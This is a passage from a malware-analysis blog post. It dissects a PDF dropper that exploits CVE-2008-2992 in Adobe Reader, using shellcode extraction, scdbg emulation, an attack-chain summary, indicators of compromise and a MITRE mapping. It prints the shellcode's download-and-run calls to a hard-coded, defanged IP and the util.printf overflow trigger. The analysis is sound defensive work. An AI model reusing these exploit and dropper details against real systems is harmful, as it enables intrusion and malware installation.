js_payload)</pre><pre>with open(&quot;shellcode.bin&quot;, &quot;wb&quot;) as f:<br>    for block in blocks:<br>        f.write(struct.pack(&quot;&lt;H&quot;, int(block, 16)))   # little-endian 16-bit</pre><pre>print(&quot;Decoded shellcode saved to shellcode.bin&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*tVic0u44KEhx_4IN4WfByg.png" /><figcaption><em>Figure 9: The extraction script (decode.py)</em></figcaption></figure><h3>Step 7: Emulating the shellcode with scdbg</h3><p>Reading raw shellcode instruction by instruction is slow, and running it on a real system is out of the question. scdbg is the middle path. It emulates the shellcode in a sandboxed CPU and logs every Windows API call it makes, letting the shellcode decode itself and show its hand.</p><pre>scdbg -f shellcode.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*zDBRN0wnt6E5G0sKob5wWw.png" /><figcaption><em>Figure 10: scdbg output showing the shellcode’s API calls</em></figcaption></figure><p>The sequence is short and unmistakable:</p><ol><li>LoadLibraryA(“urlmon”): loads the Windows library that provides URL download functions.</li><li>GetTempPathA: finds the temporary-files folder.</li><li>URLDownloadToFileA(http://92[.]62[.]100[.]66/bm/?h=..., …\Temp\wJQs.exe): downloads a file from a hard-coded <strong>IP address</strong> and saves it as wJQs.exe in the temp folder. The C:\users\remnux… part of the path comes from the emulated environment; on a real victim it would be that user’s own temp directory.</li><li>WinExec: launches the downloaded wJQs.exe.</li><li>ExitProcess: ends the host process.</li></ol><p>That is the solid proof we were looking for. The PDF is a <strong>dropper</strong>: it exploits the reader, then downloads and runs a second-stage executable.</p><h3>The full attack chain</h3><pre>1. Victim opens the PDF in a vulnerable Adobe Acrobat/Reader<br>2. /OpenAction and the /Names JavaScript run automatically<br>3. Obfuscated script decodes itself via eval()<br>4. Heap spray fills memory with NOP sled + shellcode<br>5. util.printf(&quot;%45000f&quot;, ...) overflows the stack (CVE-2008-2992)<br>6. Execution lands in the sled and slides into the shellcode<br>7. Shellcode XOR-decodes itself and resolves its APIs<br>8. URLDownloadToFileA fetches wJQs.exe from 92[.]62[.]100[.]66<br>9. WinExec launches the second-stage executable</pre><h3>Indicators of compromise</h3><p>Network indicators are defanged so they cannot be clicked by accident.</p><ul><li><strong>Sample name (SHA-256 as shown in the screenshot):</strong> 3de44dc788cc675a33f245ab5868ab0ddec882a557cd91c0e62a00f07ebb6b4f</li><li><strong>Download URL (prefix):</strong> hxxp://92[.]62[.]100[.]66/bm/?h=…</li><li><strong>Download host:</strong> 92[.]62[.]100[.]66 (hard-coded IP, no DNS lookup involved)</li><li><strong>Dropped file:</strong> wJQs.exe in the user’s temp directory</li><li><strong>PDF structure:</strong> /OpenAction + /JavaScript + /Names script; 11,158-byte obfuscated JS stream; util.printf(“%45000f”, …) after a heap spray</li></ul><h3>MITRE ATT&amp;CK mapping</h3><p>What the analysis directly supports:</p><ul><li><strong>T1203</strong> Exploitation for Client Execution: the util.printf overflow (CVE-2008–2992).</li><li><strong>T1059.007</strong> Command and Scripting Interpreter: JavaScript: script executed via /OpenAction and /JavaScript.</li><li><strong>T1027</strong> Obfuscated Files or Information: eval()-based obfuscation and XOR-encoded shellcode.</li><li><strong>T1105</strong> Ingress Tool Transfer: URLDownloadToFileA pulling down wJQs.exe.</li><li><strong>T1106</strong> Native API: direct use of LoadLibraryA, URLDownloadToFileA and WinExec from shellcode.</li><li><strong>T1204.002</strong> User Execution: Malicious File: the victim has to open the PDF.</li></ul><p>If the file arrived as an email attachment, <strong>T1566.001</strong> (Phishing: Spearphishing Attachment) would apply too, but the sample alone does not tell us how it was delivered.</p><h3>Conclusion</h3><p>Starting from a handful of keywords in a triage summary, we followed object references to a hidden script, stripped away its obfuscation, recognised a heap spray and an exploit for CVE-2008–2992, pulled out the shellcode and emulated it to see its real purpose: downloading and running an executable. No part of this required opening the file in a reader.</p><p>The takeaway is a simple one. Malware does not have to arrive as an .exe. A document that looks like harmless text can carry an exploit and a dropper, and the techniques in this sample, auto-run actions, eval-based obfuscation, heap spraying and GetPC shellcode, appear again and again in modern threats. Learn to read them here, in a sample you can safely take apart, and they become much easier to spot in the wild.</p><h3>References and further reading</h3><ul><li>NVD entry: CVE-2008–2992</li><li>this blog post: What’s in a PDF? (an introduction to PDF objects)</li><li>REMnux (remnux.org): the Linux toolkit for malware analysis</li><li>Didier Stevens’ PDF tools (blog.didierstevens.com/programs/pdf-tools): home of pdf-parser.py and pdfid</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3519ebadd669" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>